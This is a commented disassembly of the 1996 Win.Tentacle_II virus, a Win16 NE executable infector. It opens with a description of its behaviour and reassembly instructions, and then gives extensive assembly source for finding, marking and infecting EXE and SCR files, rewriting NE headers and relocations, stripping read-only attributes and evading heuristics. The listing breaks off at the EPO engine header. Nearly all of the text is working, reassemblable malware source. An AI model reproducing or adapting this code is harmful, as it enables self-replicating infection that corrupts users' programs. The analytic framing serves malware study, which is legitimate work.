comment %
Name : Win.Tentacle_II
Alias : Shell
Author : ?
Type : direct acting Win16 NE appender
Size : 10608 bytes virus body (because of relocation stuff
infected files increase for at least 10634 bytes)
Origin : ?
When : 1996
Status : was in the wild (distributed in sex newsgroups in 1996)
Disassembled by : Black Jack
Contact me :
[email protected] |
http://www.coderz.net/blackjack
Description:
When the virus gets activated, it starts to search and infect NE EXE files,
first one *.EXE file in the current directory, then two in the C:\WINDOWS
directory, then one in some other possible hardcoded windows directories
(C:\WIN, C:\WIN31, C:\WIN311, C:\WIN95), and then one *.SCR file in the
current dir. While infection the virus creates a temporary file
C:\TENTACLE.$$$ and rebuilds there an infected image of the victim file. When
the infection process is finished this file is copied back over the victim
file and then deleted.
The infection technique is adding another segment with the virus
code at the end of the file. To add its own entry to the segment table, it
checks if there is enough unused room between the end of the NE header tables
and the start of the first segment and aborts infection if not. Then it
shifts back all tables after the segment table (therefore overwriting the
unused fill bytes) and fixes their offsets in the NE header, so that it can
write its own segment descriptor at the end of the segment table. In a similar
way it adds its own entries to the module-reference and the imported-names
table (this is necessary to import two APIs that are used in the payload).
The most interesting feature of the virus is that it was one of the first (if
not the very first) viruses using EPO techniques, that means infecting the
file without modifying its entry point. To do so, it searches the code segment
that contains the entry point for a call to the INITTASK API from KERNEL.DLL,
or, if that one is not found, the THUNRTMAIN API from VBRUN300.DLL, this are
APIs that should be in the very beginning of a program. Then the relocation
item that is associated with the API call is patched in such a way that this
call is redirected to the virus.
While infecting, the virus pays special attention to the WINHELP.EXE files.
This file contains a self-check in Win3.11. And that's why the virus patches
it in a special way, so that this self-check is disabled.
The payload is activated if the virus is run between 1:00am and 1:05am - The
virus drops a file C:\TENTACLE.GIF containing a picture of the violet tentacle
from the classical computer game "the day of the tentacle" and modifies the
registry in such a way that whenever the program associated with .GIF files
is run to view such a file it displays the file dropped by the virus. To do so
it uses two imported APIs RegSetValue and RegQueryValue from SHELL.DLL.
Additionally, if the virus is executed between 1:15am and 2:00am it runs the
opposite effect and undoes the changes in the registry that were done in the
payload.
Reassembly tested with Tasm 3.1 and TLink 3.0 .
TASM /M tenta2
TLINK tenta2
first generation sample is a DOS EXE file and infects all suitable EXE files
in the current directory only.
%
virus_size EQU (offset virus_end - offset virus_start)
model tiny
code
386
org 0
virus_start:
segm_offset dw 0
segm_phys_size dw virus_size
segm_attribs dw 0001110101010000b ; readable code segment with relocs
segm_virt_size dw virus_size
reloc_stuff:
dd 0000FFFFh ; pointers that will become relocated
dd 0000FFFFh ; must be initialised by 0000:FFFF
dd 0000FFFFh
; This is the real start of the relocation data:
dw 3 ; three relocation items
db 3 ; 32bit far pointer
db 1 ; imported ordinal
dw offset RegQueryValue ; offset of relocation item
size_of_reloc_stuff1 EQU ($ - reloc_stuff)
dw 0 ; will become module-reference index
reloc_stuff2 dw 6 ; ordinal RegQueryValue
db 3 ; 32bit far pointer
db 1 ; imported ordinal
dw offset RegSetValue ; offset of relocation item
size_of_reloc_stuff2 EQU ($ - reloc_stuff2)
dw 0 ; will become module-reference index
reloc_stuff3 dw 5 ; ordinal RegSetValue
db 3 ; 32bit far pointer
db 1 ; imported ordinal
dw offset org_entry; offset of relocation item
size_of_reloc_stuff3 EQU ($ - reloc_stuff3)
dw 0 ; will become module-reference index
dw 0 ; will become ordinal of hooked API
virus_entry:
push ds ; save DS
pusha ; save all registers
push ss ; DS=SS
pop ds
sub sp,size stack_frame ; reserve room on stack
mov bp,sp ; setup stack frame
mov ah,1Ah ; set DTA to DS:DX
lea dx,[bp.dta] ; DS:DX=our DTA in our stack frame
int 21h
mov bx,1
mov cx,offset empty_string
mov dx,offset exe_wildcard
CALL infect_directory ; infect one EXE file in current dir
mov bx,2
mov cx,offset C_windows
mov dx,offset exe_wildcard
CALL infect_directory ; infect two EXE files in C:\WINDOWS
mov bx,1
mov cx,offset C_win
mov dx,offset exe_wildcard
CALL infect_directory ; infect one EXE file in C:\WIN
mov bx,1
mov cx,offset C_win31
mov dx,offset exe_wildcard
CALL infect_directory ; infect one EXE file in C:\WIN31
mov bx,1
mov cx,offset C_win311
mov dx,offset exe_wildcard
CALL infect_directory ; infect one EXE file in C:\WIN311
mov bx,1
mov cx,offset C_win95
mov dx,offset exe_wildcard
CALL infect_directory ; infect one EXE file in C:\WIN95
mov bx,1
mov cx,offset empty_string
mov dx,offset scr_wildcard
CALL infect_directory ; infect one SCR in current dir
mov ah,1Ah ; set DTA to DS:DX
mov dx,7Fh ; DX=80h (standart DTA offset)
inc dx
push ds ; save DS
push es ; DS=ES=PSP (or equivalent) segment
pop ds
int 21h
pop ds ; restore DS
mov ah,2Ch ; get the system time to CX/DX
int 21h ; CH=hours, CL=minutes, DH=seconds
; DL=1/100 seconds
cmp cx,100h ; is it before 1:00am ?
JB restore_host ; if yes, no payload
cmp cx,105h ; is it before 1:05am ?
JB change_gif_cmdline ; call payload between 1:00 and 1:05
cmp cx,10Fh ; is it before 1:15am ?
JB restore_host ; if yes, no payload
cmp cx,200h ; is it after 2:00am ?
JAE restore_host ; if yes, no payload
mov ax,0 ; restore old gif commandline
JMP call_payload ; call payload between 1:15 and 2:00
change_gif_cmdline:
mov ax,1 ; change gif commandline to our file
call_payload:
CALL payload ; play with the gif commandline in
; the win16 "registry".
restore_host:
add sp,size stack_frame ; free room on stack
popa ; restore all registers
pop ds ; restore DS
JMP cs:org_entry ; jump to the API that was hooked
; for the EPO while infection.
C_win db "C:\WIN\", 0
; The following two subroutines are not used in the whole virus. I guess that
; they were just used in the first generation sample, and accidentally left
; in by the virus author. That's why I also used them in the first generation
; carrier of the disassembly.
encrypt_wildcard:
push si ; save SI
push di ; save DI
push es ; save ES
push ds ; ES=DS
pop es
mov di,si ; DI=SI
xor al,al ; AL=0
mov cx,0FFFFh ; search whole segment
repne scasb ; search for the end of the string
dec di ; go back to the terminating zero
mov ax,di ; AX=end of string
; SI=start of string
sub ax,si ; AX=length of string
pop es ; restore ES
pop di ; restore DI
mov cx,ax ; CX=length of string
encrypt_wildcard_loop:
inc byte ptr [si] ; encrypt one byte from string
inc si ; next byte
loop encrypt_wildcard_loop
pop si ; restore SI
RET
encrypt_path:
push si ; save SI
push di ; save DI
push es ; save ES
push ds ; ES=DS
pop es
mov di,si ; DI=SI
xor al,al ; AL=0
mov cx,0FFFFh ; search whole segment
repne scasb ; search for the end of the string
dec di ; go back to the terminating zero
mov ax,di ; AX=end of string
; SI=start of string
sub ax,si ; AX=length of string
pop es ; restore ES
pop di ; restore DI
mov cx,ax ; CX=length of string
encrypt_path_loop:
dec byte ptr [si] ; encrypt one byte from string
inc si ; next byte
loop encrypt_path_loop
pop SI ; restore SI
RET
; ----- DECRYPT PATH STRING -------------------------------------------------
; Entry:
; SI - pointer to source buffer
; DI - pointer to destination buffer
; Exit:
; DI - end of destination buffer
decrypt_path:
cld ; clear direction flag
push di ; save DI
push es ; save ES
push ds ; ES=DS
pop es
mov di,si ; DI=SI
xor al,al ; AL=0
mov cx,0FFFFh ; search whole segment
repne scasb ; search for the end of the string
dec di ; go back to the terminating zero
mov ax,di ; AX=end of string
; SI=start of string
sub ax,si ; AX=length of string
pop es ; restore ES
pop di ; restore DI
mov cx,ax ; CX=length of string
inc cx ; because the LOOP immedeately follows
JMP loop_decrypt_path
decrypt_path_loop:
lodsb ; load a byte from source string
inc al ; decrypt it
stosb ; store decrypted byte
loop_decrypt_path:
loop decrypt_path_loop
movsb ; move terminating zero
RET
; ----- DECRYPT WINDCARD STRING ---------------------------------------------
; Entry:
; SI - pointer to source buffer
; DI - pointer to destination buffer
; Exit:
; DI - end of destination buffer
decrypt_wildcard:
cld ; clear direction flag
push di ; save DI
push es ; save ES
push ds ; ES=DS
pop es
mov di,si ; DI=SI
xor al,al ; AL=0
mov cx,0FFFFh ; search whole segment
repne scasb ; search for the end of the string
dec di ; go back to the terminating zero
mov ax,di ; AX=end of string
; SI=start of string
sub ax,si ; AX=length of string
pop es ; restore ES
pop di ; restore DI
mov cx,ax ; CX=length of string
inc cx ; because the LOOP immedeately follows
JMP loop_decrypt_wildcard
decrypt_wildcard_loop:
lodsb ; load a byte from source string
dec al ; decrypt it
stosb ; store decrypted byte
loop_decrypt_wildcard:
loop decrypt_wildcard_loop
movsb ; move terminating zero
RET
C_windows db "C:\WINDOWS\"
empty_string db 0
; ----- INFECT A DIRECTORY --------------------------------------------------
;
; INPUT:
; BX - number of files to infect
; CX - ptr to path to infect (encrypted)
; DX - ptr to file wildcard ("*.EXE" or "*.SCR", also encrypted)
infect_directory:
push ds ; save DS
push es ; save ES
push cs ; DS=CS
pop ds
push ss ; ES=SS
pop es
mov si,cx ; SI=ptr to path to decrypt
lea di,[bp.full_filespec] ; DI=ptr to where full wildcard will
; be stored ("C:\path\*.ext")
push cx ; save CX (pointer to path)
CALL decrypt_path ; decrypt the path to full_filespec
dec di ; skip the terminating zero
mov si,dx
CALL decrypt_wildcard ; decrypt the wilcard to full_filespec
pop si ; restore ptr to path in SI
lea di,[bp.full_filename]
CALL decrypt_path
dec di ; skip the terminating zero
pop es ; restore ES
pop ds ; restore DS
mov ah,4Eh ; find first file
mov cx,2 ; normal and hidden files
lea dx,[bp.full_filespec]
JMP do_file_search
do_file:
push es ; save ES
push di ; save DI
push ss ; ES=SS
pop es
cld ; clear direction flag
lea si,[bp.dta+1Eh] ; SI=ptr to found filename in DTA
; DI points after the path in
; full_filename
mov cx,13 ; 8.3 filename (zero terminated)
rep movsb ; copy filename
pop di ; restore DI
pop es ; restore ES
test byte ptr [bp.dta+15h],1 ; read only attribute set?
JZ not_readonly
push dx ; save DX
mov ax,3000h ; AX=4301h (set file attributes)
add ax,1301h
xor ch,ch ; set high byte of attributes to zero
mov cl,[bp.dta+15h] ; CL=low byte of attributes
;* and cx,0FFFEh ; delete read-only attribute
db 83h,0E1h,0FEh ; fixup - byte match
lea dx,[bp.full_filename] ; DS:DX=ptr to filename (with path)
int 21h
pop dx ; restore DX
JC findnext ; error? if so, search on
not_readonly:
CALL infect_file ; infect the file!
JC findnext ; on error while infecting search on!
dec bx ; decrement infection counter
JZ done_directory ; enough files infected?
findnext:
mov ah,4Fh ; find next file
do_file_search:
int 21h ; do the file search
JNC do_file ; if no error happened, process file
done_directory:
RET
C_win31 db "C:\WIN31\", 0
exe_wildcard db "*.EXE", 0
scr_wildcard db "*.SCR", 0
; ----- INFECT THE FILE -----------------------------------------------------
infect_file:
pushad ; save all 32bit registers
mov ax,3D00h ; open file read-only
lea dx,[bp.full_filename] ; DS:DX=pointer to filename
int 21h
JC exit_infect ; exit on error
mov bx,ax ; file handle to BX
mov [bp.source_handle],ax ; save file handle
CALL get_file_date_time_size
mov ah,3Fh ; read DOS header
mov cx,64 ; DOS header size
lea dx,[bp.rw_buffer] ; Load effective addr
int 21h
JC close_file
mov ax,word ptr [bp.rw_buffer] ; AX=exe marker
dec ax ; anti-heuristic
cmp ax,"ZM"-1 ; EXE file?
JNE close_file ; close if not
;* cmp word ptr [bp.rw_buffer+0Ch],0FFFEh ; maxmem item in DOS
; header is infection marker
db 81h,0BEh,0A9h,0,0FEh,0FFh ; fixup - byte match
JE close_file ; if equal, file is already infected
;* cmp word ptr [bp.rw_buffer+0Ch],0FFFFh ; maxmem must be standart
db 81h,0BEh,0A9h,0,0FFh,0FFh ; fixup - byte match
JNE close_file ; if not, don't infect
mov word ptr [bp.rw_buffer+0Ch],0FFFEh ; mark as infected
cmp word ptr [bp.rw_buffer+18h],40h ; new exe file?
JB close_file ; if not, then close
; set tmp_filename to "C:\TENTACLE.$$$", 0
mov dword ptr [bp.tmp_filename+6],0F59E6305h
add dword ptr [bp.tmp_filename+6],56A4DE4Fh
mov word ptr [bp.tmp_filename+0],":C"
mov dword ptr [bp.tmp_filename+10],"$$.E"
mov dword ptr [bp.tmp_filename+2],0B1704BC2h
add dword ptr [bp.tmp_filename+2],9CD5089Ah
mov word ptr [bp.tmp_filename+14],"$"
mov ah,3Ch ; create temporary file
mov cx,2 ; with hidden attributes
lea dx,[bp.tmp_filename] ; DS:DX=ptr to filename
int 21h
JC close_file ; exit on error
mov [bp.dest_handle],ax ; save temp file handle
mov ah,40h ; write DOS header of temp file
mov bx,[bp.dest_handle] ; BX=file handle
mov cx,64 ; CX=length to write
lea dx,[bp.rw_buffer] ; DS:DX=address write buffer
int 21h
JC close_tmp_file
mov ecx,dword ptr [bp.rw_buffer+3Ch] ; ECX=new exe header offset
mov [bp.new_header_offs],ecx; store it
sub ecx,64 ; size of dos header (already written)
CALL copy_file_block ; copy rest of DOS stub
JC close_tmp_file
mov bx,[bp.source_handle] ; BX=handle of victim file
mov ah,3Fh ; read NE header
mov cx,64 ; size of NE header
lea dx,[bp.rw_buffer] ; DX=offset of buffer
int 21h
JC close_tmp_file
mov ax,word ptr [bp.rw_buffer] ; AX=new exe marker
inc ax ; anti-heuristic
cmp ax,"EN"+1 ; NE exe file?
JNE close_tmp_file ; if not, then abort infection
mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift
mov eax,1 ; EAX=1
shl eax,cl ; EAX=alignment unit
mov [bp.alignment_unit],eax ; save it
mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift
mov eax,[bp.file_size] ; EAX=filesize
shr eax,cl ; EAX=filesize in alignment units
mov [bp.new_sect_descr+0],ax ; save it as offset for the new
; segment that is going to be created
mov eax,[bp.alignment_unit] ; EAX=alignment unit
dec eax ; set all bits below alignemt
test eax,[bp.file_size] ; filesize already aligned?
JZ filesize_already_aligned
inc word ptr [bp.new_sect_descr+0] ; if not, round it up
filesize_already_aligned:
mov ax,cs:segm_phys_size ; copy physical size of segment
mov [bp.new_sect_descr+2],ax
mov ax,cs:segm_attribs ; copy segment attributes
mov [bp.new_sect_descr+4],ax
mov ax,cs:segm_virt_size ; copy virutal size of segment
mov [bp.new_sect_descr+6],ax
cmp word ptr [bp.rw_buffer+22h],40h ;is the segment table directly
; after the NE header (standart case)?
JNE close_tmp_file ; if not, better not infect the file
CALL EPO
JC close_tmp_file
mov [bp.module_ordinal],eax ; save module index and ordinal
mov [bp.our_reloc_offs],edx ; save offset of relocation item
xor eax,eax ; EAX=0
mov ax,word ptr [bp.rw_buffer+22h] ; EAX=offset of segment
; descriptor table from NE hdr
add eax,[bp.new_header_offs]; EAX=offset of segment descriptor
; table from file start
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; go to segment descriptor table
int 21h
mov ah,3Fh ; read the offset of the first segment
mov cx,2 ; read a word
lea dx,[bp.first_segm_offs] ; DX=offset read buffer
int 21h
JC close_tmp_file
mov ax,4201h ; move file pointer relative to
; current position
mov cx,-1 ; CX:DX=-2 (new filepointer position)
mov dx,-2
int 21h ; set the filepointer back to the
; start of the segment table
JC close_tmp_file
xor eax,eax ; EAX=0
mov ax,word ptr [bp.first_segm_offs] ; EAX=aligned file offset
; of first segment
mul [bp.alignment_unit] ; EAX=file offset of the 1st segment
mov [bp.first_segm_offs],eax; save it
mov ebx,dword ptr [bp.rw_buffer+2Ch]
; EBX=beginning of the nonresident-name table (relative to filestart).
; This should be the last table in the NE header.
xor ecx,ecx ; ECX=0
mov cx,word ptr [bp.rw_buffer+20h] ; ECX=size of nonresident name
; table in bytes
add ebx,ecx ; EBX=size of NE header + all tables
mov dword ptr [bp.end_of_NE_hdr],ebx
sub eax,ebx ; EAX=free room between the end of
; the NE header and the first segment
;* cmp eax,10h ; is there enough room left so we can
; add our stuff (a segment descriptor,
; a module reference and an imported
; name) ?
db 66h,83h,0F8h,10h ; fixup - byte match
JL close_tmp_file ; if not, we can't infect the file
mov ax,word ptr [bp.rw_buffer+1Ch] ; segment count
inc ax ; add another segment
mov word ptr [bp.rw_buffer+1Ch],ax ; save new segment count
mov word ptr [bp.new_entry_CS],ax ; new entry segment index
mov word ptr [bp.new_entry_IP],offset virus_entry ; set new
; entry IP
and byte ptr [bp.rw_buffer+37h],011110111b ; windows flags:
; kill gangload area
; fixup the offsets of the other NE header tables (all are after the segment
; table and therefore shifted back). It is assumed that all tables are in the
; same order in the file as their offsets are stored in the NE header (except
; for the entry table, which should be the second last).
add word ptr [bp.rw_buffer+4h],16 ; entry table
add word ptr [bp.rw_buffer+24h],8 ; resource table
add word ptr [bp.rw_buffer+26h],8 ; resident-name table
add word ptr [bp.rw_buffer+28h],8 ; module-reference table
add word ptr [bp.rw_buffer+2Ah],10 ; imported-name table
add dword ptr [bp.rw_buffer+2Ch],16 ; nonresident-name table
inc word ptr [bp.rw_buffer+1Eh] ; one more entry in
; module-reference table
mov ah,40h ; write modified NE header to tmp file
mov bx,[bp.dest_handle] ; BX=temp file handle
mov cx,64 ; NE header size
lea dx,[bp.rw_buffer] ; DX=write buffer offset
int 21h
JC close_tmp_file
xor ecx,ecx ; ECX=0
mov cx,word ptr [bp.rw_buffer+1Ch] ; EAX=number of segments
dec cx ; ECX=old number of segments
shl cx,3 ; shl 3 means mul 8 (size of a
; segment descriptor)
; ECX=old size of segm descriptor tbl
CALL copy_file_block ; copy segment descriptor table
JC close_tmp_file
mov ah,40h ; write our own segment descriptor
; to the file
mov cx,8 ; size of a segment descriptor
lea dx,[bp.new_sect_descr] ; DX=offset of write buffer
int 21h
JC close_tmp_file
xor ecx,ecx ; ECX=0
mov cx,word ptr [bp.rw_buffer+2Ah] ; ECX=offset of imported-name
; table from NE header
mov ax,word ptr [bp.rw_buffer+1Ch] ; entries in segment table
dec ax ; AX=old number of segments
shl ax,3 ; multiply with 8 (size of a
; segment descriptor)
add ax,word ptr [bp.rw_buffer+22h] ; add offset of segment table
; (from NE header)
; AX=offset end of segment table
; relative to the NE header
sub cx,ax ; CX=length of stuff between the
; segment table and the imported-name
; table (resource, resident-name and
; module-reference tables)
sub cx,10 ; because the imported-name table
; offset has already been increased
; by 10 before
CALL copy_file_block ; copy all those tables
JC close_tmp_file
mov ax,word ptr [bp.rw_buffer+4] ; offset entry table (from
; NE header)
sub ax,6 ; AX=end of old imported-name table
sub ax,word ptr [bp.rw_buffer+2Ah] ; ECX=offset of imported-name
; table from NE header
mov word ptr [bp.tmp_buffer],ax ; AX=offset into imported-name
; table (the one of the module
; name we're going to add)
mov ah,40h ; append our new entry into the
; module reference table, the offset
; of the new module name
mov cx,2 ; write one word
lea dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer
int 21h
JC close_tmp_file
xor ecx,ecx ; ECX=0
mov cx,word ptr [bp.rw_buffer+4] ; offset entry table (from
; NE header)
sub cx,6 ; CX=end of old imported-name table
sub cx,word ptr [bp.rw_buffer+2Ah] ; offset of imported-names
; table from NE header
CALL copy_file_block ; copy imported-name table
JC close_tmp_file
mov ah,40h ; append our module name to the
; imported-name table
mov cx,6 ; length to write
mov word ptr [bp.tmp_buffer+4],"LL" ; create the string
mov dword ptr [bp.tmp_buffer],6DBBFE87h ; 5, "SHELL"
add dword ptr [bp.tmp_buffer],0D78C547Eh ; in tmp_buffer
lea dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer
int 21h
JC close_tmp_file
mov cx,word ptr [bp.end_of_NE_hdr] ; end of NE header+all tables
; (offset from filestart
sub cx,word ptr [bp.rw_buffer+4] ; offset entry table (from
; NE header)
add cx,word ptr [bp.new_header_offs]; BUG! this should be a sub,
; no add! but because the
; filepointer is set new
; immedeately afterwards, this
; never causes any problems.
CALL copy_file_block ; copy the rest of the header
; (entry and nonresident-name tables)
JC close_tmp_file
mov ax,4200h ; set filepointer in the destination
; (temp) file to the start of the
; first segment.
push dword ptr [bp.first_segm_offs]
pop dx ; CX:DX=first segment offset
pop cx
int 21h
JC close_tmp_file
mov ax,4200h ; set filepointer in the source file
; to the start of the first segment
mov bx,[bp.source_handle]
push dword ptr [bp.first_segm_offs]
pop dx ; CX:DX=first segment offset
pop cx
int 21h
JC close_tmp_file
mov ecx,0FFFFFFFFh ; whole file body
CALL copy_file_block ; copy the file body (all segments
; and relocations)
JC close_tmp_file
xor eax,eax ; EAX=0
mov ax,[bp.new_sect_descr+0]; EAX=aligned offset of our segment
mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift
shl eax,cl ; EAX=offset of our segment in bytes
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; go to our segment offset in file
mov bx,[bp.dest_handle] ; BX=temp file handle
int 21h
JC close_tmp_file
mov ah,40h ; write virus body to file
mov cx,(RegQueryValue-virus_start) ; write whole virus body
; excluding the three pointers that
; must be relocated and therefore
; initialised with 0000:FFFF
mov dx,offset virus_start ; DX=offset write buffer=virus body
push ds ; save DS
push cs ; DS=CS
pop ds
int 21h
pop ds ; restore DS
JC close_tmp_file
mov ah,40h ; write relocation stuff
mov cx,size_of_reloc_stuff1 ; size of relocation stuff
mov dx,offset reloc_stuff ; DX=offset write buffer
push ds ; save DS
push cs ; DS=CS
pop ds
int 21h
pop ds ; restore DS
JC close_tmp_file
mov ah,40h ; write module index
mov cx,2 ; one word
lea dx,ss:[bp.rw_buffer+1Eh]; number of entries in module
; reference table - our module
; reference is the last
int 21h
JC close_tmp_file
mov ah,40h ; write relocation stuff
mov cx,size_of_reloc_stuff2 ; size of relocation stuff
mov dx,offset reloc_stuff2 ; DX=offset write buffer
push ds ; save DS
push cs ; DS=CS
pop ds
int 21h
pop ds ; restore DS
JC close_tmp_file
mov ah,40h ; write module index
mov cx,2 ; one word
lea dx,ss:[bp.rw_buffer+1Eh]; number of entries in module
; reference table - our module
; reference is the last
int 21h
JC close_tmp_file
mov ah,40h ; write relocation stuff
mov cx,size_of_reloc_stuff3 ; size of relocation stuff
mov dx,offset reloc_stuff3 ; DX=offset write buffer
push ds ; save DS
push cs ; DS=CS
pop ds
int 21h
pop ds
JC close_tmp_file
mov ah,40h ; write the reference to the API
; we hooked for the EOP
mov cx,2 ; CX=4 (size to write)
shl cx,1 ; ???
lea dx,[bp.module_ordinal] ; DS:DX=pointer to write buffer
int 21h
JC close_tmp_file
push [bp.our_reloc_offs] ; CX:DX=offset of the relocation item
pop dx ; that has to be modifies
pop cx
mov ax,4200h ; set filepointer relative to
int 21h ; filestart
JC close_tmp_file
mov ah,40h ; write relocation type
mov cx,2 ; one word
mov word ptr [bp.tmp_buffer],3 ; 32bit far ptr/internal reference
lea dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer
int 21h
JC close_tmp_file
mov ax,4201h ; set new file pointer relative to
; current position
mov cx,0 ; CX:DX=2 (skip the offset of the
mov dx,2 ; dword that must be relocated)
int 21h
JC close_tmp_file
mov ah,40h ; write a far pointer to the virus
; entrypoint.
mov cx,2 ; CX=4 (size to write)
shl cx,1 ; ???
lea dx,[bp.new_entry_CS] ; DS:DX=pointer to write buffer
int 21h
JC close_tmp_file
cmp dword ptr [bp.dta+24h],"XE.P" ; check the filename of the
JNE not_winhelp ; victim for "WINHELP.EXE" and try to
mov eax,dword ptr [bp.dta+20h] ; patch it if the filename matches
add eax,98F5548Ah
cmp eax,"LEHN"+98F5548Ah
JNE not_winhelp
cmp word ptr [bp.dta+28h],"E"
JNE not_winhelp
cmp word ptr [bp.dta+1Eh],"IW"
JNE not_winhelp
CALL patch_winhelp
not_winhelp:
mov ah,3Eh ; close temp file
int 21h
mov bx,[bp.source_handle] ; BX=victim file handle
mov ah,3Eh ; close victim file
int 21h
lea dx,[bp.tmp_filename] ; DS:DX=pointer to temp file name
mov ax,3D00h ; reopen temp file read-only
int 21h
JC delete_tmp_file
mov [bp.source_handle],ax ; save handle
mov ah,3Ch ; truncate victim file
mov cx,0 ; no attributes
lea dx,[bp.full_filename] ; DS:DX=ptr to full victim filename
int 21h
JC delete_tmp_file
mov bx,ax ; handle to BX
mov [bp.dest_handle],ax ; save handle
mov ecx,0FFFFFFFFh ; copy the whole temp file over the
CALL copy_file_block ; victim file
mov ax,3000h ; AX=5701h - set file date and time
add ax,2701h
mov bx,[bp.dest_handle] ; BX=handle of victim file
mov dx,[bp.file_date] ; CX=old file date
mov cx,[bp.file_time] ; DX=old file time
int 21h
mov ah,3Eh ; close victim file
int 21h
mov bx,[bp.source_handle] ; BX=handle of temp file
mov ah,3Eh ; close temp file
int 21h
lea dx,[bp.tmp_filename] ; DS:DX=pointer to temp file name
mov ah,41h ; delete temp file
int 21h
clc ; clear carry flag (indicate success)
JMP exit_infect
close_tmp_file:
mov bx,[bp.dest_handle] ; BX=handle of temp file
mov ah,3Eh ; close temp file
int 21h
delete_tmp_file:
lea dx,[bp.tmp_filename] ; DS:DX=pointer to temp file name
mov ah,41h ; delete temp file
int 21h
close_file:
mov bx,[bp.source_handle] ; BX=handle of victim file
mov ah,3Eh ; close fictim file
int 21h
stc ; set carry flag (indicate error)
exit_infect:
popad ; restore all 32bit registers
RET
C_win311 db "C:\WIN311\", 0
; ----- GET DATE, TIME AND SIZE OF THE OPENED FILE --------------------------
get_file_date_time_size:
push cx ; save CX and DX
push dx
mov ax,5700h ; get date and time
int 21h
mov [bp.file_date],dx ; save date
mov [bp.file_time],cx ; save time
xor cx,cx ; CX:DX=0 (distance to move)
xor dx,dx
mov ax,4202h ; move filepointer relative to
int 21h ; end of file
; in DX:AX the new filpointer is
; returned (filesize in this case)
mov word ptr [bp.file_size+2],dx ; save filesize
mov word ptr [bp.file_size],ax
xor cx,cx ; DX:CX=0 (distance to move)
xor dx,dx
mov ax,4200h ; move filepointer relative to
int 21h ; beginning of file
pop dx ; restore DX and CX
pop cx
RET
C_win95 db "C:\WIN95\", 0
; ----- COPY ECX BYTES FROM VICTIM FILE TO TEMP FILE ------------------------
copy_file_block:
pushad ; save all 32bit registers
sub sp,256 ; allocate a 256 byte buffer from stack
mov [bp.bytes_to_copy],ecx ; save length of block to copy
mov dx,sp ; DX=offset buffer
copy_file_block_loop:
cmp [bp.bytes_to_copy],0 ; whole block moved?
JE copy_file_block_done ; then we're done
cmp [bp.bytes_to_copy],256 ; more than 256 bytes left?
JBE copy_remaining_bytes_block
mov cx,256 ; then just copy 256 bytes
JMP read_file_block
copy_remaining_bytes_block:
mov cx,word ptr [bp.bytes_to_copy] ; copy all bytes left
read_file_block:
push cx ; save size to read/write
mov bx,[bp.source_handle] ; BX=handle of source file
mov ah,3Fh ; read from file function
push ds ; save DS
push ss ; DS=SS
pop ds
int 21h
pop ds ; restore DS
mov bx,[bp.dest_handle] ; BX=handle of destination file
mov cx,ax ; write as many bytes as were read
mov ah,40h ; write block to temporary file
push ds ; save DS
push ss ; DS=SS
pop ds
int 21h
pop ds ; restore DS
cmp cx,ax ; sizes of read block=written block ?
pop cx ; restore size to read and write
JNZ copy_file_block_error ; if not equal, then an error occured
cmp cx,ax ; size of read/written block equal
; to the size we planned to read?
JNE copy_file_block_done ; if not, we're at the end of the file
cwde ; convert word to dword (AX->EAX)
sub [bp.bytes_to_copy],eax ; we've copied EAX bytes more
JMP copy_file_block_loop ; copy next file block
copy_file_block_error:
stc ; set carry flag (indicate error)
JMP copy_file_block_ret
copy_file_block_done:
clc ; clear carry flag (indicate success)
add sp,256 ; remove buffer from stack
popad ; restore all 32bit registers
copy_file_block_ret:
RET
; ----- SEARCH MODULE NAME --------------------------------------------------
;
; searches the module name pointed to by DX in the imported names table and
; returns in AX its number, otherwise indicates error with carry flag set
search_module_name:
push bx ; save BX
push es ; save ES
sub sp,256 ; reserve a 256 bytes buffer on stack
mov di,dx
push ss ; ES=SS
pop es
xor eax,eax ; EAX=0
mov ax,word ptr [bp.rw_buffer+28h] ; ptr to module-reference
; table (from NE header)
add eax,[bp.new_header_offs]; EAX=ptr to module-reference table
; (from file start)
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; set file pointer relative to
; file start to module reference table
int 21h
JC module_name_not_found
mov ah,3Fh ; read module reference table
mov cx,word ptr [bp.rw_buffer+1Eh] ; number of entries in
; module reference table
shl cx,1 ; multiply with two (each entry
; in module reference table is a word)
mov dx,sp ; DS:DX=ptr to our buffer on stack
int 21h
JC module_name_not_found
xor eax,eax ; EAX=0
mov ax,word ptr [bp.rw_buffer+2Ah] ; ptr to imported-names table
; (relative to NE header)
add eax,[bp.new_header_offs]; EAX=ptr to imported-names table
; relative to file start
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; set file pointer relative to
; file start to imported-names table
int 21h
JC module_name_not_found
mov ah,3Fh ; read imported-names table
mov cx,128 ; read 128 bytes
mov dx,sp ; DS:DX=ptr to buffer on stack
add dx,128 ; assume module-reference table is
; not longer than 128 bytes too
int 21h
JC module_name_not_found
mov bx,sp ; BX=module-reference table buffer
xor cx,cx ; CX=0
JMP check_if_all_modules_done
search_module_name_loop:
mov si,sp ; SI=buffer on stack
add si,128 ; SI=imported-names table buffer
add si,[bx] ; add offset from module-reference
; table to get a actual entry in the
; imported-names table
push cx ; save CX (module counter)
push di ; save DI (offset of module name
; to search for)
xor ch,ch ; CH=0
mov cl,[si] ; length of this entry in the
; imported-names table
inc cl ; also compare the string-length byte
cld ; clear direction flag
repe cmpsb ; compare the strings
pop di ; restore DI (offset of module name
; to search for)
pop cx ; restore CX (module counter)
JZ found_module_name
inc cx ; incerement CX (module counter)
add bx,2 ; go to next entry in module-
; reference table
check_if_all_modules_done:
cmp cx,word ptr [bp.rw_buffer+1Eh] ; done all modules ?
JNE search_module_name_loop ; if not, search on
JMP module_name_not_found ; if yes, the search failed
found_module_name:
mov ax,cx ; AX=module counter
inc ax ; make counter start from 1
add sp,256 ; remove buffer from stack
clc ; clear carry flag (indicate success)
JMP exit_search_module_name
module_name_not_found:
add sp,256 ; remove buffer from stack
stc ; Set carry flag
exit_search_module_name:
pop es ; restore ES
pop bx ; restore BX
RET
; ----- EPO ENGINE ----------------------------------------------------------
;
; Entry: none
;
; Exit:
; EAX - module index (in MSW) and API ordinal (in LSW) of found reloc item
; EDX - file offset of relocation item to modify
